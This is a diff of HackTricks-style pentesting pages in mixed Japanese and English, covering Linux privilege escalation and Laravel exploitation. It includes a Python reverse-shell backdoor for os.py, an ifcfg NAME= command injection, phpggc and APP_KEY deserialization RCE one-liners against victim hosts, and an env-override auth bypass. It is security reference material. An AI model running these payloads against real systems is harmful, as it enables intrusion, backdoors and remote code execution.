[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が実行する最後のチェックを確認してください。 +ファイル名や内容に"**password**"という単語が含まれているファイルも確認してください。また、logs内のIPsやemails、ハッシュのregexpsもチェックしてください。\ +ここでこれらすべてのやり方を列挙するつもりはありませんが、興味があれば[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認できます。 -## Writable files +## 書き込み可能なファイル ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). +もしpythonスクリプトが**どこから**実行されるか分かっていて、そのフォルダに**書き込みできる**か、あるいは**pythonライブラリを修正できる**なら、OSライブラリを改変してbackdoorすることができます(pythonスクリプトが実行される場所に書き込み可能であれば、os.pyライブラリをコピーして貼り付けてください)。 To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate の悪用 -`logrotate` の脆弱性により、ログファイルやその親ディレクトリに対して **書き込み権限** を持つユーザーが権限を昇格できる可能性があります。これは多くの場合 **root** で動作する `logrotate` を操作して任意のファイルを実行させられるためで、特に _**/etc/bash_completion.d/**_ のようなディレクトリが狙われます。確認すべきは _/var/log_ だけでなく、ログローテートが適用される任意のディレクトリのパーミッションです。 +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> この脆弱性は `logrotate` バージョン `3.18.0` 以下に影響します +> この脆弱性は`logrotate`のバージョン`3.18.0`およびそれ以前に影響します -脆弱性の詳細は次のページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -この脆弱性は [**logrotten**](https://github.com/whotwagner/logrotten) を使って悪用できます。 +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** に非常に似ています。ログを書き換えられる状況を見つけたら、誰がそのログを管理しているかを確認し、ログをシンボリックリンクで置き換えて権限昇格できないか調べてください。 +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**脆弱性の参照先:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -何らかの理由でユーザーが `ifcf-` スクリプトを _/etc/sysconfig/network-scripts_ に **書き込める** か、既存のスクリプトを **修正できる** 場合、あなたの **system is pwned** です。 +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts(例: _ifcg-eth0_)はネットワーク接続に使われます。見た目は .INI ファイルそのものです。しかし、Linux 上では Network Manager (dispatcher.d) によって \~sourced\~ されます。 +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). -私の場合、これらの network scripts 内の `NAME=` の扱いが正しくありませんでした。名前に **スペース/空白文字が含まれていると、システムは空白の後の部分を実行しようとします**。つまり **最初の空白以降のすべてが root として実行される** ことになります。 +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -例えば: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_注意: Network と /bin/id の間に空白があること_) +(_注: Network と /bin/id の間の空白に注意_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, と rc.d** -ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **scripts** の格納場所です。ここにはサービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使用されます。 +ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所です。これは **古典的な Linux サービス管理システム** です。`start`、`stop`、`restart`、場合によっては `reload` サービスを実行するスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使われます。 -一方、`/etc/init` は Ubuntu が導入したより新しいサービス管理である Upstart と関連しており、サービス管理のために設定ファイルを使用します。Upstart への移行後も、互換レイヤにより SysVinit スクリプトは Upstart 設定と併用されています。 +一方で、`/etc/init` は **Upstart** に関連しており、Ubuntu によって導入された新しい **サービス管理** で、サービス管理タスクのために設定ファイルを使用します。Upstart への移行にもかかわらず、Upstart の互換レイヤーにより SysVinit スクリプトは Upstart の設定と並行して利用され続けています。 -**systemd** は、オンデマンドでのデーモン起動、automount の管理、システム状態のスナップショットなどの高度な機能を提供するモダンな初期化およびサービスマネージャーです。ディストリビューションパッケージ向けのファイルは `/usr/lib/systemd/` に、管理者が変更するためのファイルは `/etc/systemd/system/` に配置され、システム管理を簡素化します。 +**systemd** はモダンな初期化およびサービスマネージャとして登場し、on-demand のデーモン起動、automount 管理、システム状態のスナップショットなどの高度な機能を提供します。配布パッケージ用のファイルは `/usr/lib/systemd/`、管理者による変更用は `/etc/systemd/system/` に整理され、システム管理を合理化します。 ## Other Tricks @@ -1448,38 +1460,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks は一般的に privileged kernel 機能を userspace の manager に公開するために syscall をフックします。FD-order に基づく署名チェックや脆弱なパスワード方式など、弱い manager 認証があると、ローカルアプリが manager を偽装して既に root 化されたデバイスで root にエスカレートできる可能性があります。詳細とエクスプロイトの手順は以下を参照してください: +Android の rooting フレームワークは一般に syscall をフックして、特権付きカーネル機能を userspace のマネージャに公開します。マネージャの認証が弱い(例: FD-order に基づく署名チェックや脆弱なパスワード方式)と、ローカルアプリがマネージャになりすまして既に root 化されたデバイスで root に昇格できてしまう可能性があります。詳細とエクスプロイトについては以下を参照してください: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## カーネルのセキュリティ保護 - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## さらに情報 [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Linux のローカル privilege escalation ベクターを探すためのベストツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux ローカル privilege escalation ベクターを探すのに最適なツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Linux と MAC のカーネル脆弱性を列挙 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (物理アクセス):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## 参考 - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1499,6 +1511,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 72d36335a..2361974b7 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -ここで情報を読む: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +詳細はこちら: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & Encryption internals (Laravel \u003e=5.6) +## APP_KEY & 暗号化の内部 (Laravel \u003e=5.6) -Laravelは、内部でHMAC整合性を持つAES-256-CBC(またはGCM)を使用しています(`Illuminate\\Encryption\\Encrypter`)。 -最終的に**クライアントに送信される**生の暗号文は、次のような**JSONオブジェクトのBase64**です: +Laravelは内部で AES-256-CBC (または GCM) と HMAC による整合性を使用します (`Illuminate\\Encryption\\Encrypter`). +最終的に**クライアントに送信される**生の暗号文は、**JSONオブジェクトのBase64**のようになります: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,21 +20,21 @@ Laravelは、内部でHMAC整合性を持つAES-256-CBC(またはGCM)を使 "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` はデフォルトでプレーンテキストを `serialize()` し、`decrypt($payload, $unserialize=true)` **は自動的に `unserialize()`** された値を復号化します。したがって、**32バイトの秘密 `APP_KEY` を知っている攻撃者は、暗号化されたPHPシリアライズオブジェクトを作成し、マジックメソッド(`__wakeup`、`__destruct`、…)を介してRCEを得ることができます**。 +`encrypt($value, $serialize=true)` はデフォルトで平文を `serialize()` します。一方、`decrypt($payload, $unserialize=true)` は復号した値を**自動的に `unserialize()` します**。したがって **32バイトの秘密 `APP_KEY` を知っている攻撃者は暗号化された PHP シリアライズ済みオブジェクトを作成し、マジックメソッド(`__wakeup`, `__destruct`, …)を介して RCE を得ることができます**。 -最小限のPoC(フレームワーク ≥9.x): +Minimal PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -生成された文字列を任意の脆弱な `decrypt()` シンク(ルートパラメータ、クッキー、セッションなど)に注入します。 +生成された文字列を任意の脆弱な `decrypt()` sink (route param, cookie, session, …) に注入します。 --- ## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) は、全プロセスを自動化し、便利な **bruteforce** モードを追加します: +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) はプロセス全体を自動化し、便利な **bruteforce** モードを追加します: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" @@ -45,25 +45,25 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -スクリプトはCBCおよびGCMペイロードの両方を透過的にサポートし、HMAC/タグフィールドを再生成します。 +このスクリプトはCBCとGCMのペイロードの両方を透過的にサポートし、HMAC/tagフィールドを再生成します。 --- -## 実世界の脆弱なパターン +## 実際の脆弱なパターン -| プロジェクト | 脆弱なシンク | ガジェットチェーン | -|--------------|--------------|--------------------| +| Project | Vulnerable sink | Gadget chain | +|---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN`クッキーが`Passport::withCookieSerialization()`で有効な場合 | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session`クッキー | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | -エクスプロイトのワークフローは常に次のとおりです: -1. 32バイトの`APP_KEY`を取得またはブルートフォースします。 -2. **PHPGGC**を使用してガジェットチェーンを構築します(例えば`Laravel/RCE13`、`Laravel/RCE9`または`Laravel/RCE15`)。 -3. 回収した`APP_KEY`と**laravel_crypto_killer.py**を使用してシリアライズされたガジェットを暗号化します。 -4. 脆弱な`decrypt()`シンク(ルートパラメータ、クッキー、セッションなど)に暗号文を送信して**RCE**をトリガーします。 +悪用のワークフローは常に次の通りです: +1. 32バイトの`APP_KEY`を取得するか、ブルートフォースで特定する。 +2. **PHPGGC**でガジェットチェーンを構築する(例えば `Laravel/RCE13`、`Laravel/RCE9`、または`Laravel/RCE15`)。 +3. 復元した`APP_KEY`を使い、**laravel_crypto_killer.py**でシリアライズ済みのガジェットを暗号化する。 +4. 暗号文を脆弱な`decrypt()` sink(ルートパラメータ、cookie、session …)に渡して**RCE**を引き起こす。 -以下は、上記の各実世界CVEの完全な攻撃パスを示す簡潔なワンライナーです: +以下は、上で挙げた各実際のCVEについてフル攻撃経路を示す簡潔なワンライナーです: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,41 +80,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` +## 大量の APP_KEY 発見 — cookie brute-force による + +新しい Laravel のレスポンスは少なくとも1つの暗号化された cookie(`XSRF-TOKEN`、通常は `laravel_session`)を設定するため、public internet scanners (Shodan, Censys, …) leak millions of ciphertexts が発生し、これらはオフラインで攻撃可能です。 + +Synacktiv (2024-2025) が発表した研究の主な所見: +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. +* 大規模なキー再利用 – Top-10 APP_KEYs は商用 Laravel テンプレート(UltimatePOS, Invoice Ninja, XPanel, …)にハードコードされたデフォルトです。 + +プライベートな Go ツール **nounours** は AES-CBC/GCM bruteforce のスループットを約 1.5 billion tries/s に押し上げ、全データセットの cracking を <2 分に短縮します。 + + +## CVE-2024-52301 – HTTP argv/env override → 認証バイパス + +多くのディストリビューションで典型的な PHP 設定 `register_argc_argv=On` の場合、PHP はクエリ文字列から派生した HTTP リクエスト用の `argv` 配列を公開します。最近の Laravel バージョンはこの「CLI-like」な引数を解析し、ランタイムで `--env=` を尊重しました。これにより、任意の URL にこれを付与するだけで現在の HTTP リクエストのフレームワーク環境を切り替えることができます: + +- 簡易確認: +- `https://target/?--env=local` または任意の文字列にアクセスして、環境依存の変化(デバッグバナー、フッター、詳細なエラーなど)を確認します。文字列が反映されていれば、オーバーライドが機能しています。 + +- インパクト例(特定の env を信頼するビジネスロジック): +- アプリに `if (app()->environment('preprod')) { /* bypass auth */ }` のような分岐がある場合、ログイン POST を以下に送ることで有効な資格情報なしに認証できます: +- `POST /login?--env=preprod` + +- 注意点: +- リクエスト単位で動作し、永続化しません。 +- `register_argc_argv=On` と、HTTP の argv を読む脆弱な Laravel バージョンが必要です。 +- “debug” 環境でより詳細なエラーを出したり、環境制御されたコードパスをトリガーしたりする際に有用なプリミティブです。 + +- 緩和策: +- PHP-FPM/Apache で `register_argc_argv` を無効化する。 +- HTTP リクエストで argv を無視するよう Laravel をアップグレードし、本番ルートで `app()->environment()` に依存した信頼前提を削除する。 + +Minimal exploitation flow (Burp): +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` --- -## マス APP_KEY 発見によるクッキー総当たり攻撃 - -新しい Laravel のレスポンスは少なくとも 1 つの暗号化されたクッキー(`XSRF-TOKEN` と通常は `laravel_session`)を設定するため、**パブリックインターネットスキャナー(Shodan, Censys, …)は数百万の暗号文を漏洩させ**、オフラインで攻撃可能です。 - -Synacktiv によって発表された研究の主な発見(2024-2025): -* データセット 2024年7月 » 580 k トークン、**3.99 % のキーが解読**(≈23 k) -* データセット 2025年5月 » 625 k トークン、**3.56 % のキーが解読** -* >1,000 サーバーがレガシー CVE-2018-15133 に対して依然として脆弱で、トークンが直接シリアライズされたデータを含んでいます。 -* 巨大なキーの再利用 – トップ10の APP_KEY は商業用 Laravel テンプレート(UltimatePOS, Invoice Ninja, XPanel, …)にハードコーディングされたデフォルトです。 - -プライベート Go ツール **nounours** は AES-CBC/GCM の総当たりスループットを約 15 億試行/秒に押し上げ、フルデータセットの解読を 2 分未満に短縮します。 - - -## Laravel トリック +## Laravel のトリック ### デバッグモード -Laravel が **デバッグモード** の場合、**コード** と **機密データ** にアクセスできます。\ -例えば `http://127.0.0.1:8000/profiles`: +Laravel が **デバッグモード** の場合、**コード** や **機密データ** にアクセスできるようになります。\ +For example `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -これは通常、他の Laravel RCE CVE を悪用するために必要です。 +これは通常、他の Laravel RCE CVEs を悪用する際に必要になります。 +### フィンガープリンティング & 公開された開発用エンドポイント + +本番で公開されている Laravel スタックや危険な開発ツールを特定するための簡易チェック: + +- `/_ignition/health-check` → Ignition が存在 (CVE-2021-3129 で使われたデバッグツール)。認証なしで到達可能な場合、アプリはデバッグモードか設定ミスの可能性があります。 +- `/_debugbar` → Laravel Debugbar のアセット。多くの場合デバッグモードを示します。 +- `/telescope` → Laravel Telescope (開発監視ツール)。公開されている場合、広範な情報漏洩や実行可能な操作が予想されます。 +- `/horizon` → キューのダッシュボード。バージョン情報の開示や、場合によっては CSRF 保護された操作が存在することがあります。 +- `X-Powered-By`、クッキー `XSRF-TOKEN` と `laravel_session`、および Blade のエラーページもフィンガープリントに役立ちます。 +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` ### .env -Laravel はクッキーや他の資格情報を暗号化するために使用する APP を `.env` というファイルに保存しており、次のパストラバーサルを使用してアクセスできます:`/../.env` +Laravel は、cookies やその他の資格情報を暗号化するために使用する APP を `.env` というファイルに保存します。このファイルにはパストラバーサルで `/../.env` のようにアクセスできます。 -Laravel はエラーを見つけたときにデバッグページ内にもこの情報を表示します(それが有効になっている場合)。 +Laravel は、エラーを検出して debug が有効になっている場合に、この情報を debug page 内にも表示します。 -Laravel の秘密の APP_KEY を使用して、クッキーを復号化し再暗号化できます: +Laravel の秘密の APP_KEY を使用すると、cookies を復号および再暗号化できます: -### クッキーの復号化 +### Decrypt Cookie ```python import os import json @@ -169,30 +212,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` -### Laravel デシリアライズ RCE +### Laravel Deserialization RCE -脆弱なバージョン: 5.5.40 および 5.6.x から 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +影響を受けるバージョン: 5.5.40 および 5.6.x 〜 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -ここでデシリアライズの脆弱性に関する情報を見つけることができます: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +deserialization 脆弱性に関する情報は次を参照してください: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)を使用してテストおよび悪用できます。\ -また、metasploitを使用しても悪用できます: `use unix/http/laravel_token_unserialize_exec` +テストおよびexploitには次を使用できます: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +または metasploit を使って exploit することもできます: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -別のデシリアライズ: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +別の deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -## 参考文献 -* [Laravel: APP_KEY 漏洩分析 (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) -* [Laravel : APP_KEY の漏洩分析 (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) +## 参考資料 +* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – PHP ジェネリックガジェットチェーン](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 の詳細 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [PHPGGC – PHP Generic Gadget 